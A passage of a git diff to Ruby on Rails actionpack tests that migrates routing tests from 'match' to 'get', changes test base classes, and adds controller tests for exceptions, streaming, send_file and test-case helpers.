+      get 'page/:name' => 'pages#show', :constraints => lambda {|request|
+        name_param = request.params[:name]
+        return true
+      }
+    end
+    assert_equal({:controller => 'pages', :action => 'show', :name => 'mypage'},
+      set.recognize_path('http://subdomain.example.org/page/mypage'))
+    assert_equal(name_param, 'mypage')
+  end
+
   def test_route_requirement_recognize_with_ignore_case
     set.draw do
-      match 'page/:name' => 'pages#show',
+      get 'page/:name' => 'pages#show',
         :constraints => {:name => /(david|jamis)/i}
     end
     assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
@@ -1273,7 +1453,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_route_requirement_generate_with_ignore_case
     set.draw do
-      match 'page/:name' => 'pages#show',
+      get 'page/:name' => 'pages#show',
         :constraints => {:name => /(david|jamis)/i}
     end
 
@@ -1288,7 +1468,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_route_requirement_recognize_with_extended_syntax
     set.draw do
-      match 'page/:name' => 'pages#show',
+      get 'page/:name' => 'pages#show',
         :constraints => {:name => / # Desperately overcommented regexp
                                     ( #Either
                                      david #The Creator
@@ -1308,7 +1488,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_route_requirement_with_xi_modifiers
     set.draw do
-      match 'page/:name' => 'pages#show',
+      get 'page/:name' => 'pages#show',
         :constraints => {:name => / # Desperately overcommented regexp
                                     ( #Either
                                      david #The Creator
@@ -1326,8 +1506,8 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_routes_with_symbols
     set.draw do
-      match 'unnamed', :controller => :pages, :action => :show, :name => :as_symbol
-      match 'named'  , :controller => :pages, :action => :show, :name => :as_symbol, :as => :named
+      get 'unnamed', :controller => :pages, :action => :show, :name => :as_symbol
+      get 'named'  , :controller => :pages, :action => :show, :name => :as_symbol, :as => :named
     end
     assert_equal({:controller => 'pages', :action => 'show', :name => :as_symbol}, set.recognize_path('/unnamed'))
     assert_equal({:controller => 'pages', :action => 'show', :name => :as_symbol}, set.recognize_path('/named'))
@@ -1335,8 +1515,8 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_regexp_chunk_should_add_question_mark_for_optionals
     set.draw do
-      match '/' => 'foo#index'
-      match '/hello' => 'bar#index'
+      get '/' => 'foo#index'
+      get '/hello' => 'bar#index'
     end
 
     assert_equal '/',      url_for(set, { :controller => 'foo' })
@@ -1348,7 +1528,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_assign_route_options_with_anchor_chars
     set.draw do
-      match '/cars/:action/:person/:car/', :controller => 'cars'
+      get '/cars/:action/:person/:car/', :controller => 'cars'
     end
 
     assert_equal '/cars/buy/1/2', url_for(set, { :controller => 'cars', :action => 'buy', :person => '1', :car => '2' })
@@ -1358,7 +1538,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_segmentation_of_dot_path
     set.draw do
-      match '/books/:action.rss', :controller => 'books'
+      get '/books/:action.rss', :controller => 'books'
     end
 
     assert_equal '/books/list.rss', url_for(set, { :controller => 'books', :action => 'list' })
@@ -1368,7 +1548,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_segmentation_of_dynamic_dot_path
     set.draw do
-      match '/books(/:action(.:format))', :controller => 'books'
+      get '/books(/:action(.:format))', :controller => 'books'
     end
 
     assert_equal '/books/list.rss', url_for(set, { :controller => 'books', :action => 'list', :format => 'rss' })
@@ -1384,7 +1564,7 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_slashes_are_implied
     @set = nil
-    set.draw { match("/:controller(/:action(/:id))") }
+    set.draw { get("/:controller(/:action(/:id))") }
 
     assert_equal '/content',        url_for(set, { :controller => 'content', :action => 'index' })
     assert_equal '/content/list',   url_for(set, { :controller => 'content', :action => 'list' })
@@ -1469,13 +1649,13 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_generate_with_default_params
     set.draw do
-      match 'dummy/page/:page' => 'dummy#show'
-      match 'dummy/dots/page.:page' => 'dummy#dots'
-      match 'ibocorp(/:page)' => 'ibocorp#show',
+      get 'dummy/page/:page' => 'dummy#show'
+      get 'dummy/dots/page.:page' => 'dummy#dots'
+      get 'ibocorp(/:page)' => 'ibocorp#show',
                              :constraints => { :page => /\d+/ },
                              :defaults => { :page => 1 }
 
-      match ':controller/:action/:id'
+      get ':controller/:action/:id'
     end
 
     assert_equal '/ibocorp', url_for(set, { :controller => 'ibocorp', :action => "show", :page => 1 })
@@ -1483,17 +1663,17 @@ class RouteSetTest < ActiveSupport::TestCase
 
   def test_generate_with_optional_params_recalls_last_request
     set.draw do
-      match "blog/", :controller => "blog", :action => "index"
+      get "blog/", :controller => "blog", :action => "index"
 
-      match "blog(/:year(/:month(/:day)))",
+      get "blog(/:year(/:month(/:day)))",
             :controller => "blog",
             :action => "show_date",
             :constraints => { :year => /(19|20)\d\d/, :month => /[01]?\d/, :day => /[0-3]?\d/ },
             :day => nil, :month => nil
 
-      match "blog/show/:id", :controller => "blog", :action => "show", :id => /\d+/
-      match "blog/:controller/:action(/:id)"
-      match "*anything", :controller => "blog", :action => "unknown_request"
+      get "blog/show/:id", :controller => "blog", :action => "show", :id => /\d+/
+      get "blog/:controller/:action(/:id)"
+      get "*anything", :controller => "blog", :action => "unknown_request"
     end
 
     assert_equal({:controller => "blog", :action => "index"}, set.recognize_path("/blog"))
@@ -1541,7 +1721,7 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
       root :to => 'users#index'
     end
 
-    match '/blog(/:year(/:month(/:day)))' => 'posts#show_date',
+    get '/blog(/:year(/:month(/:day)))' => 'posts#show_date',
       :constraints => {
         :year => /(19|20)\d\d/,
         :month => /[01]?\d/,
@@ -1550,37 +1730,38 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
       :day => nil,
       :month => nil
 
-    match 'archive/:year', :controller => 'archive', :action => 'index',
+    get 'archive/:year', :controller => 'archive', :action => 'index',
       :defaults => { :year => nil },
       :constraints => { :year => /\d{4}/ },
       :as => "blog"
 
     resources :people
-    match 'legacy/people' => "people#index", :legacy => "true"
+    get 'legacy/people' => "people#index", :legacy => "true"
 
-    match 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol
-    match 'id_default(/:id)' => "foo#id_default", :id => 1
+    get 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol
+    get 'id_default(/:id)' => "foo#id_default", :id => 1
     match 'get_or_post' => "foo#get_or_post", :via => [:get, :post]
-    match 'optional/:optional' => "posts#index"
-    match 'projects/:project_id' => "project#index", :as => "project"
-    match 'clients' => "projects#index"
+    get 'optional/:optional' => "posts#index"
+    get 'projects/:project_id' => "project#index", :as => "project"
+    get 'clients' => "projects#index"
 
-    match 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i
-    match 'extended/geocode/:postalcode' => 'geocode#show',:constraints => {
+    get 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i
+    get 'extended/geocode/:postalcode' => 'geocode#show',:constraints => {
                   :postalcode => /# Postcode format
                                   \d{5} #Prefix
                                   (-\d{4})? #Suffix
                                   /x
                   }, :as => "geocode"
 
-    match 'news(.:format)' => "news#index"
+    get 'news(.:format)' => "news#index"
 
-    match 'comment/:id(/:action)' => "comments#show"
-    match 'ws/:controller(/:action(/:id))', :ws => true
-    match 'account(/:action)' => "account#subscription"
-    match 'pages/:page_id/:controller(/:action(/:id))'
-    match ':controller/ping', :action => 'ping'
-    match ':controller(/:action(/:id))(.:format)'
+    get 'comment/:id(/:action)' => "comments#show"
+    get 'ws/:controller(/:action(/:id))', :ws => true
+    get 'account(/:action)' => "account#subscription"
+    get 'pages/:page_id/:controller(/:action(/:id))'
+    get ':controller/ping', :action => 'ping'
+    get 'こんにちは/世界', :controller => 'news', :action => 'index'
+    match ':controller(/:action(/:id))(.:format)', :via => :all
     root :to => "news#index"
   }
 
@@ -1696,6 +1877,10 @@ class RackMountIntegrationTests < ActiveSupport::TestCase
     assert_equal({:controller => 'people', :action => 'create', :person => { :name => 'Josh'}}, params)
   end
 
+  def test_unicode_path
+    assert_equal({:controller => 'news', :action => 'index'}, @routes.recognize_path(URI.parser.escape('こんにちは/世界'), :method => :get))
+  end
+
   private
     def sort_extras!(extras)
       if extras.length == 2
diff --git a/actionpack/test/controller/runner_test.rb b/actionpack/test/controller/runner_test.rb
index 24c220dcd5..3e9383abb2 100644
--- a/actionpack/test/controller/runner_test.rb
+++ b/actionpack/test/controller/runner_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
 require 'action_dispatch/testing/integration'
 
 module ActionDispatch
-  class RunnerTest < Test::Unit::TestCase
+  class RunnerTest < ActiveSupport::TestCase
     class MyRunner
       include Integration::Runner
 
diff --git a/actionpack/test/controller/selector_test.rb b/actionpack/test/controller/selector_test.rb
index 8ce9e43402..5e302da212 100644
--- a/actionpack/test/controller/selector_test.rb
+++ b/actionpack/test/controller/selector_test.rb
@@ -7,7 +7,7 @@ require 'abstract_unit'
 require 'controller/fake_controllers'
 require 'action_controller/vendor/html-scanner'
 
-class SelectorTest < Test::Unit::TestCase
+class SelectorTest < ActiveSupport::TestCase
   #
   # Basic selector: element, id, class, attributes.
   #
diff --git a/actionpack/test/controller/send_file_test.rb b/actionpack/test/controller/send_file_test.rb
index 8f885ff28e..97ede35317 100644
--- a/actionpack/test/controller/send_file_test.rb
+++ b/actionpack/test/controller/send_file_test.rb
@@ -23,10 +23,6 @@ class SendFileController < ActionController::Base
   def data
     send_data(file_data, options)
   end
-
-  def multibyte_text_data
-    send_data("Кирилица\n祝您好運.", options)
-  end
 end
 
 class SendFileTest < ActionController::TestCase
@@ -55,14 +51,14 @@ class SendFileTest < ActionController::TestCase
     response = nil
     assert_nothing_raised { response = process('file') }
     assert_not_nil response
-    assert_respond_to response.body_parts, :each
-    assert_respond_to response.body_parts, :to_path
+    assert_respond_to response.stream, :each
+    assert_respond_to response.stream, :to_path
 
     require 'stringio'
     output = StringIO.new
     output.binmode
-    output.string.force_encoding(file_data.encoding) if output.string.respond_to?(:force_encoding)
-    assert_nothing_raised { response.body_parts.each { |part| output << part.to_s } }
+    output.string.force_encoding(file_data.encoding)
+    response.body_parts.each { |part| output << part.to_s }
     assert_equal file_data, output.string
   end
 
@@ -158,6 +154,17 @@ class SendFileTest < ActionController::TestCase
     end
   end
 
+  def test_send_file_with_default_content_disposition_header
+    process('data')
+    assert_equal 'attachment', @controller.headers['Content-Disposition']
+  end
+
+  def test_send_file_without_content_disposition_header
+    @controller.options = {:disposition => nil}
+    process('data')
+    assert_nil @controller.headers['Content-Disposition']
+  end
+
   %w(file data).each do |method|
     define_method "test_send_#{method}_status" do
       @controller.options = { :stream => false, :status => 500 }
diff --git a/actionpack/test/controller/show_exceptions_test.rb b/actionpack/test/controller/show_exceptions_test.rb
new file mode 100644
index 0000000000..351b9c4cfa
--- /dev/null
+++ b/actionpack/test/controller/show_exceptions_test.rb
@@ -0,0 +1,96 @@
+require 'abstract_unit'
+
+module ShowExceptions
+  class ShowExceptionsController < ActionController::Base
+    use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+    use ActionDispatch::DebugExceptions
+
+    before_filter :only => :another_boom do
+      request.env["action_dispatch.show_detailed_exceptions"] = true
+    end
+
+    def boom
+      raise 'boom!'
+    end
+
+    def another_boom
+      raise 'boom!'
+    end
+
+    def show_detailed_exceptions?
+      request.local?
+    end
+  end
+
+  class ShowExceptionsTest < ActionDispatch::IntegrationTest
+    test 'show error page from a remote ip' do
+      @app = ShowExceptionsController.action(:boom)
+      self.remote_addr = '208.77.188.166'
+      get '/'
+      assert_equal "500 error fixture\n", body
+    end
+
+    test 'show diagnostics from a local ip if show_detailed_exceptions? is set to request.local?' do
+      @app = ShowExceptionsController.action(:boom)
+      ['127.0.0.1', '127.0.0.127', '::1', '0:0:0:0:0:0:0:1', '0:0:0:0:0:0:0:1%0'].each do |ip_address|
+        self.remote_addr = ip_address
+        get '/'
+        assert_match(/boom/, body)
+      end
+    end
+
+    test 'show diagnostics from a remote ip when env is already set' do
+      @app = ShowExceptionsController.action(:another_boom)
+      self.remote_addr = '208.77.188.166'
+      get '/'
+      assert_match(/boom/, body)
+    end
+  end
+
+  class ShowExceptionsOverridenController < ShowExceptionsController
+    private
+
+    def show_detailed_exceptions?
+      params['detailed'] == '1'
+    end
+  end
+
+  class ShowExceptionsOverridenTest < ActionDispatch::IntegrationTest
+    test 'show error page' do
+      @app = ShowExceptionsOverridenController.action(:boom)
+      get '/', {'detailed' => '0'}
+      assert_equal "500 error fixture\n", body
+    end
+
+    test 'show diagnostics message' do
+      @app = ShowExceptionsOverridenController.action(:boom)
+      get '/', {'detailed' => '1'}
+      assert_match(/boom/, body)
+    end
+  end
+
+  class ShowExceptionsFormatsTest < ActionDispatch::IntegrationTest
+    def test_render_json_exception
+      @app = ShowExceptionsOverridenController.action(:boom)
+      get "/", {}, 'HTTP_ACCEPT' => 'application/json'
+      assert_response :internal_server_error
+      assert_equal 'application/json', response.content_type.to_s
+      assert_equal({ :status => '500', :error => 'boom!' }.to_json, response.body)
+    end
+
+    def test_render_xml_exception
+      @app = ShowExceptionsOverridenController.action(:boom)
+      get "/", {}, 'HTTP_ACCEPT' => 'application/xml'
+      assert_response :internal_server_error
+      assert_equal 'application/xml', response.content_type.to_s
+      assert_equal({ :status => '500', :error => 'boom!' }.to_xml, response.body)
+    end
+
+    def test_render_fallback_exception
+      @app = ShowExceptionsOverridenController.action(:boom)
+      get "/", {}, 'HTTP_ACCEPT' => 'text/csv'
+      assert_response :internal_server_error
+      assert_equal 'text/html', response.content_type.to_s
+    end
+  end
+end
diff --git a/actionpack/test/controller/streaming_test.rb b/actionpack/test/controller/streaming_test.rb
new file mode 100644
index 0000000000..6ee6444065
--- /dev/null
+++ b/actionpack/test/controller/streaming_test.rb
@@ -0,0 +1,26 @@
+require 'abstract_unit'
+
+module ActionController
+  class StreamingResponseTest < ActionController::TestCase
+    class TestController < ActionController::Base
+      def self.controller_path
+        'test'
+      end
+
+      def basic_stream
+        %w{ hello world }.each do |word|
+          response.stream.write word
+          response.stream.write "\n"
+        end
+        response.stream.close
+      end
+    end
+
+    tests TestController
+
+    def test_write_to_stream
+      get :basic_stream
+      assert_equal "hello\nworld\n", @response.body
+    end
+  end
+end
diff --git a/actionpack/test/controller/sweeper_test.rb b/actionpack/test/controller/sweeper_test.rb
new file mode 100644
index 0000000000..0561efc62f
--- /dev/null
+++ b/actionpack/test/controller/sweeper_test.rb
@@ -0,0 +1,16 @@
+require 'abstract_unit'
+
+
+class SweeperTest < ActionController::TestCase
+
+  class ::AppSweeper < ActionController::Caching::Sweeper; end
+
+  def test_sweeper_should_not_ignore_unknown_method_calls
+    sweeper = ActionController::Caching::Sweeper.send(:new)
+    assert_raise NameError do
+      sweeper.instance_eval do
+        some_method_that_doesnt_exist
+      end
+    end
+  end
+end
diff --git a/actionpack/test/controller/test_case_test.rb b/actionpack/test/controller/test_case_test.rb
new file mode 100644
index 0000000000..8990fc34d6
--- /dev/null
+++ b/actionpack/test/controller/test_case_test.rb
@@ -0,0 +1,921 @@
+require 'abstract_unit'
+require 'controller/fake_controllers'
+
+class TestCaseTest < ActionController::TestCase
+  class TestController < ActionController::Base
+    def no_op
+      render :text => 'dummy'
+    end
+
+    def set_flash
+      flash["test"] = ">#{flash["test"]}<"
+      render :text => 'ignore me'
+    end
+
+    def set_flash_now
+      flash.now["test_now"] = ">#{flash["test_now"]}<"
+      render :text => 'ignore me'
+    end
+
+    def set_session
+      session['string'] = 'A wonder'
+      session[:symbol] = 'it works'
+      render :text => 'Success'
+    end
+
+    def reset_the_session
+      reset_session
+      render :text => 'ignore me'
+    end
+
+    def render_raw_post
+      raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank?
+      render :text => request.raw_post
+    end
+
+    def render_body
+      render :text => request.body.read
+    end
+
+    def test_params
+      render :text => params.inspect
+    end
+
+    def test_uri
+      render :text => request.fullpath
+    end
+
+    def test_format
+      render :text => request.format
+    end
+
+    def test_query_string
+      render :text => request.query_string
+    end
+
+    def test_protocol
+      render :text => request.protocol
+    end
+
+    def test_html_output
+      render :text => <<HTML
+<html>
+  <body>
+    <a href="/"><img src="/images/button.png" /></a>
+    <div id="foo">
+      <ul>
+        <li class="item">hello</li>
+        <li class="item">goodbye</li>
+      </ul>
+    </div>
+    <div id="bar">
+      <form action="/somewhere">
+        Name: <input type="text" name="person[name]" id="person_name" />
+      </form>
+    </div>
+  </body>
+</html>
+HTML
+    end
+
+    def test_xml_output
+      response.content_type = "application/xml"
+      render :text => <<XML
+<?xml version="1.0" encoding="UTF-8"?>
+<root>
+  <area>area is an empty tag in HTML, raising an error if not in xml mode</area>
+</root>
+XML
+    end
+
+    def test_only_one_param
+      render :text => (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
+    end
+
+    def test_remote_addr
+      render :text => (request.remote_addr || "not specified")
+    end
+
+    def test_file_upload
+      render :text => params[:file].size
+    end
+
+    def test_send_file
+      send_file(File.expand_path(__FILE__))
+    end
+
+    def redirect_to_same_controller
+      redirect_to :controller => 'test', :action => 'test_uri', :id => 5
+    end
+
+    def redirect_to_different_controller
+      redirect_to :controller => 'fail', :id => 5
+    end
+
+    def create
+      head :created, :location => 'created resource'
+    end
+
+    def delete_cookie
+      cookies.delete("foo")
+      render :nothing => true
+    end
+
+    def test_assigns
+      @foo = "foo"
+      @foo_hash = {:foo => :bar}
+      render :nothing => true
+    end
+
+    private
+
+      def generate_url(opts)
+        url_for(opts.merge(:action => "test_uri"))
+      end
+  end
+
+  def setup
+    super
+    @controller = TestController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @request.env['PATH_INFO'] = nil
+    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+      r.draw do
+        get ':controller(/:action(/:id))'
+      end
+    end
+  end
+
+  class ViewAssignsController < ActionController::Base
+    def test_assigns
+      @foo = "foo"
+      render :nothing => true
+    end
+
+    def view_assigns
+      { "bar" => "bar" }
+    end
+  end
+
+  def test_raw_post_handling
+    params = Hash[:page, {:name => 'page name'}, 'some key', 123]
+    post :render_raw_post, params.dup
+
+    assert_equal params.to_query, @response.body
+  end
+
+  def test_body_stream
+    params = Hash[:page, { :name => 'page name' }, 'some key', 123]
+
+    post :render_body, params.dup
+
+    assert_equal params.to_query, @response.body
+  end
+
+  def test_document_body_and_params_with_post
+    post :test_params, :id => 1
+    assert_equal("{\"id\"=>\"1\", \"controller\"=>\"test_case_test/test\", \"action\"=>\"test_params\"}", @response.body)
+  end
+
+  def test_document_body_with_post
+    post :render_body, "document body"
+    assert_equal "document body", @response.body
+  end
+
+  def test_document_body_with_put
+    put :render_body, "document body"
+    assert_equal "document body", @response.body
+  end
+
+  def test_head
+    head :test_params
+    assert_equal 200, @response.status
+  end
+
+  def test_head_params_as_sting
+    assert_raise(NoMethodError) { head :test_params, "document body", :id => 10 }
+  end
+
+  def test_options
+    options :test_params
+    assert_equal 200, @response.status
+  end
+
+  def test_process_without_flash
+    process :set_flash
+    assert_equal '><', flash['test']
+  end
+
+  def test_process_with_flash
+    process :set_flash, "GET", nil, nil, { "test" => "value" }
+    assert_equal '>value<', flash['test']
+  end
+
+  def test_process_with_flash_now
+    process :set_flash_now, "GET", nil, nil, { "test_now" => "value_now" }
+    assert_equal '>value_now<', flash['test_now']
+  end
+
+  def test_process_with_session
+    process :set_session
+    assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
+    assert_equal 'A wonder', session[:string], "Test session hash should allow indifferent access"
+    assert_equal 'it works', session['symbol'], "Test session hash should allow indifferent access"
+    assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access"
+  end
+
+  def test_process_with_session_arg
+    process :no_op, "GET", nil, { 'string' => 'value1', :symbol => 'value2' }
+    assert_equal 'value1', session['string']
+    assert_equal 'value1', session[:string]
+    assert_equal 'value2', session['symbol']
+    assert_equal 'value2', session[:symbol]
+  end
+
+  def test_process_merges_session_arg
+    session[:foo] = 'bar'
+    get :no_op, nil, { :bar => 'baz' }
+    assert_equal 'bar', session[:foo]
+    assert_equal 'baz', session[:bar]
+  end
+
+  def test_merged_session_arg_is_retained_across_requests
+    get :no_op, nil, { :foo => 'bar' }
+    assert_equal 'bar', session[:foo]
+    get :no_op
+    assert_equal 'bar', session[:foo]
+  end
+
+  def test_process_overwrites_existing_session_arg
+    session[:foo] = 'bar'
+    get :no_op, nil, { :foo => 'baz' }
+    assert_equal 'baz', session[:foo]
+  end
+
+  def test_session_is_cleared_from_controller_after_reset_session
+    process :set_session
+    process :reset_the_session
+    assert_equal Hash.new, @controller.session.to_hash
+  end
+
+  def test_session_is_cleared_from_request_after_reset_session
+    process :set_session
+    process :reset_the_session
+    assert_equal Hash.new, @request.session.to_hash
+  end
+
+  def test_response_and_request_have_nice_accessors
+    process :no_op
+    assert_equal @response, response
+    assert_equal @request, request
+  end
+
+  def test_process_with_request_uri_with_no_params
+    process :test_uri
+    assert_equal "/test_case_test/test/test_uri", @response.body
+  end
+
+  def test_process_with_request_uri_with_params
+    process :test_uri, "GET", :id => 7
+    assert_equal "/test_case_test/test/test_uri/7", @response.body
+  end
+
+  def test_process_with_old_api
+    assert_deprecated do
+      process :test_uri, :id => 7
+      assert_equal "/test_case_test/test/test_uri/7", @response.body
+    end
+  end
+
+  def test_process_with_request_uri_with_params_with_explicit_uri
+    @request.env['PATH_INFO'] = "/explicit/uri"
+    process :test_uri, "GET", :id => 7
+    assert_equal "/explicit/uri", @response.body
+  end
+
+  def test_process_with_query_string
+    process :test_query_string, "GET", :q => 'test'
+    assert_equal "q=test", @response.body
+  end
+
+  def test_process_with_query_string_with_explicit_uri
+    @request.env['PATH_INFO'] = '/explicit/uri'
+    @request.env['QUERY_STRING'] = 'q=test?extra=question'
+    process :test_query_string
+    assert_equal "q=test?extra=question", @response.body
+  end
+
+  def test_multiple_calls
+    process :test_only_one_param, "GET", :left => true
+    assert_equal "OK", @response.body
+    process :test_only_one_param, "GET", :right => true
+    assert_equal "OK", @response.body
+  end
+
+  def test_assigns
+    process :test_assigns
+    # assigns can be accessed using assigns(key)
+    # or assigns[key], where key is a string or
+    # a symbol
+    assert_equal "foo", assigns(:foo)
+    assert_equal "foo", assigns("foo")
+    assert_equal "foo", assigns[:foo]
+    assert_equal "foo", assigns["foo"]
+
+    # but the assigned variable should not have its own keys stringified
+    expected_hash = { :foo => :bar }
+    assert_equal expected_hash, assigns(:foo_hash)
+  end
+
+  def test_view_assigns
+    @controller = ViewAssignsController.new
+    process :test_assigns
+    assert_equal nil, assigns(:foo)
+    assert_equal nil, assigns[:foo]
+    assert_equal "bar", assigns(:bar)
+    assert_equal "bar", assigns[:bar]
+  end
+
+  def test_assert_tag_tag
+    process :test_html_output
+
+    # there is a 'form' tag
+    assert_tag :tag => 'form'
+    # there is not an 'hr' tag
+    assert_no_tag :tag => 'hr'
+  end
+
+  def test_assert_tag_attributes
+    process :test_html_output
+
+    # there is a tag with an 'id' of 'bar'
+    assert_tag :attributes => { :id => "bar" }
+    # there is no tag with a 'name' of 'baz'
+    assert_no_tag :attributes => { :name => "baz" }
+  end
+
+  def test_assert_tag_parent
+    process :test_html_output
+
+    # there is a tag with a parent 'form' tag
+    assert_tag :parent => { :tag => "form" }
+    # there is no tag with a parent of 'input'
+    assert_no_tag :parent => { :tag => "input" }
+  end
+
+  def test_assert_tag_child
+    process :test_html_output
+
+    # there is a tag with a child 'input' tag
+    assert_tag :child => { :tag => "input" }
+    # there is no tag with a child 'strong' tag
+    assert_no_tag :child => { :tag => "strong" }
+  end
+
+  def test_assert_tag_ancestor
+    process :test_html_output
+
+    # there is a 'li' tag with an ancestor having an id of 'foo'
+    assert_tag :ancestor => { :attributes => { :id => "foo" } }, :tag => "li"
+    # there is no tag of any kind with an ancestor having an href matching 'foo'
+    assert_no_tag :ancestor => { :attributes => { :href => /foo/ } }
+  end
+
+  def test_assert_tag_descendant
+    process :test_html_output
+
+    # there is a tag with a descendant 'li' tag
+    assert_tag :descendant => { :tag => "li" }
+    # there is no tag with a descendant 'html' tag
+    assert_no_tag :descendant => { :tag => "html" }
+  end
+
+  def test_assert_tag_sibling
+    process :test_html_output
+
+    # there is a tag with a sibling of class 'item'
+    assert_tag :sibling => { :attributes => { :class => "item" } }
+    # there is no tag with a sibling 'ul' tag
+    assert_no_tag :sibling => { :tag => "ul" }
+  end
+
+  def test_assert_tag_after
+    process :test_html_output
+
+    # there is a tag following a sibling 'div' tag
+    assert_tag :after => { :tag => "div" }
+    # there is no tag following a sibling tag with id 'bar'
+    assert_no_tag :after => { :attributes => { :id => "bar" } }
+  end
+
+  def test_assert_tag_before
+    process :test_html_output
+
+    # there is a tag preceding a tag with id 'bar'
+    assert_tag :before => { :attributes => { :id => "bar" } }
+    # there is no tag preceding a 'form' tag
+    assert_no_tag :before => { :tag => "form" }
+  end
+
+  def test_assert_tag_children_count
+    process :test_html_output
+
+    # there is a tag with 2 children
+    assert_tag :children => { :count => 2 }
+    # in particular, there is a <ul> tag with two children (a nameless pair of <li>s)
+    assert_tag :tag => 'ul', :children => { :count => 2 }
+    # there is no tag with 4 children
+    assert_no_tag :children => { :count => 4 }
+  end
+
+  def test_assert_tag_children_less_than
+    process :test_html_output
+
+    # there is a tag with less than 5 children
+    assert_tag :children => { :less_than => 5 }
+    # there is no 'ul' tag with less than 2 children
+    assert_no_tag :children => { :less_than => 2 }, :tag => "ul"
+  end
+
+  def test_assert_tag_children_greater_than
+    process :test_html_output
+
+    # there is a 'body' tag with more than 1 children
+    assert_tag :children => { :greater_than => 1 }, :tag => "body"
+    # there is no tag with more than 10 children
+    assert_no_tag :children => { :greater_than => 10 }
+  end
+
+  def test_assert_tag_children_only
+    process :test_html_output
+
+    # there is a tag containing only one child with an id of 'foo'
+    assert_tag :children => { :count => 1,
+                              :only => { :attributes => { :id => "foo" } } }
+    # there is no tag containing only one 'li' child
+    assert_no_tag :children => { :count => 1, :only => { :tag => "li" } }
+  end
+
+  def test_assert_tag_content
+    process :test_html_output
+
+    # the output contains the string "Name"
+    assert_tag :content => /Name/
+    # the output does not contain the string "test"
+    assert_no_tag :content => /test/
+  end
+
+  def test_assert_tag_multiple
+    process :test_html_output
+
+    # there is a 'div', id='bar', with an immediate child whose 'action'
+    # attribute matches the regexp /somewhere/.
+    assert_tag :tag => "div", :attributes => { :id => "bar" },
+               :child => { :attributes => { :action => /somewhere/ } }
+
+    # there is no 'div', id='foo', with a 'ul' child with more than
+    # 2 "li" children.
+    assert_no_tag :tag => "div", :attributes => { :id => "foo" },
+                  :child => {
+                    :tag => "ul",
+                    :children => { :greater_than => 2,
+                                   :only => { :tag => "li" } } }
+  end
+
+  def test_assert_tag_children_without_content
+    process :test_html_output
+
+    # there is a form tag with an 'input' child which is a self closing tag
+    assert_tag :tag => "form",
+      :children => { :count => 1,
+        :only => { :tag => "input" } }
+
+    # the body tag has an 'a' child which in turn has an 'img' child
+    assert_tag :tag => "body",
+      :children => { :count => 1,
+        :only => { :tag => "a",
+          :children => { :count => 1,
+            :only => { :tag => "img" } } } }
+  end
+
+  def test_should_not_impose_childless_html_tags_in_xml
+    process :test_xml_output
+
+    begin
+      $stderr = StringIO.new
+      assert_select 'area' #This will cause a warning if content is processed as HTML
+      $stderr.rewind && err = $stderr.read
+    ensure
+      $stderr = STDERR
+    end
+
+    assert err.empty?
+  end
+
+  def test_assert_tag_attribute_matching
+    @response.body = '<input type="text" name="my_name">'
+    assert_tag :tag => 'input',
+                 :attributes => { :name => /my/, :type => 'text' }
+    assert_no_tag :tag => 'input',
+                 :attributes => { :name => 'my', :type => 'text' }
+    assert_no_tag :tag => 'input',
+                 :attributes => { :name => /^my$/, :type => 'text' }
+  end
+
+  def test_assert_tag_content_matching
+    @response.body = "<p>hello world</p>"
+    assert_tag :tag => "p", :content => "hello world"
+    assert_tag :tag => "p", :content => /hello/
+    assert_no_tag :tag => "p", :content => "hello"
+  end
+
+  def test_assert_generates
+    assert_generates 'controller/action/5', :controller => 'controller', :action => 'action', :id => '5'
+    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action"}
+    assert_generates 'controller/action/5', {:controller => "controller", :action => "action", :id => "5", :name => "bob"}, {}, {:name => "bob"}
+    assert_generates 'controller/action/7', {:id => "7", :name => "bob"}, {:controller => "controller", :action => "action"}, {:name => "bob"}
+    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action", :name => "bob"}, {}
+  end
+
+  def test_assert_routing
+    assert_routing 'content', :controller => 'content', :action => 'index'
+  end
+
+  def test_assert_routing_with_method
+    with_routing do |set|
+      set.draw { resources(:content) }
+      assert_routing({ :method => 'post', :path => 'content' }, { :controller => 'content', :action => 'create' })
+    end
+  end
+
+  def test_assert_routing_in_module
+    with_routing do |set|
+      set.draw do
+        namespace :admin do
+          get 'user' => 'user#index'
+        end
+      end
+
+      assert_routing 'admin/user', :controller => 'admin/user', :action => 'index'
+    end
+  end
+
+  def test_assert_routing_with_glob
+    with_routing do |set|
+      set.draw { get('*path' => "pages#show") }
+      assert_routing('/company/about', { :controller => 'pages', :action => 'show', :path => 'company/about' })
+    end
+  end
+
+  def test_params_passing
+    get :test_params, :page => {:name => "Page name", :month => '4', :year => '2004', :day => '6'}
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {'controller' => 'test_case_test/test', 'action' => 'test_params',
+       'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
+      parsed_params
+    )
+  end
+
+  def test_params_passing_with_fixnums
